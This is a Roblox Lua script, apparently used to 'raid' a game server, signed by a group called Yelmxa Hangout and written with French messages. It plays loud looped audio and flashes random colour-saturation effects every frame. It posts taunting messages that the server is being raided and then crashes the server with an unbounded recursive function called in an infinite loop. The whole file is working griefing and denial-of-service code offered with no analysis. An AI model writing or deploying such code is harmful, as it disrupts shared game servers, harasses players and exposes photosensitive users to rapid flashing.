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- wait(0.1)
- print("Le serveur est actuellement raid par Yelmxa Hangout")
- wait(5)
- function sov()
- local sov = Instance.new("Sound")
- sov.Parent = game.SoundService
- sov.SoundId = "rbxassetid://7854285068"
- sov.Volume = 10
- sov.RollOffMaxDistance = 100000
- sov.RollOffMinDistance = 100000
- sov.Looped = true
- sov:Play()
- end
- local so = Instance.new("Sound")
- so.Parent = game.SoundService
- so.SoundId = "rbxassetid://157636218"
- so.Volume = 10
- so.RollOffMaxDistance = 100000
- so.RollOffMinDistance = 100000
- so.Looped = false
- so:Play()
- spawn(function()
- while true do wait()
- local co = Instance.new("ColorCorrectionEffect")
- co.Parent = game.Lighting
- co.Saturation = math.random(0,10000)
- co.TintColor = Color3.fromRGB(0.4, 0, 1)
- wait()
- co:Destroy()
- end
- end)
- function n()
- local t = Instance.new("Message")
- t.Parent = workspace
- t.Text = "SERVEUR CRASH PAR YELMXA EZZZZZ"
- n()
- end
- wait()
- local h = Instance.new("Hint")
- h.Parent = workspace
- h.Text = "Le serveur va etre crash dans quelque seconde, n'oubliez pas, VIVE YELMXA HANGOUT "
- wait(6)
- sov()
- while true do wait()
- n()
- n()
- end
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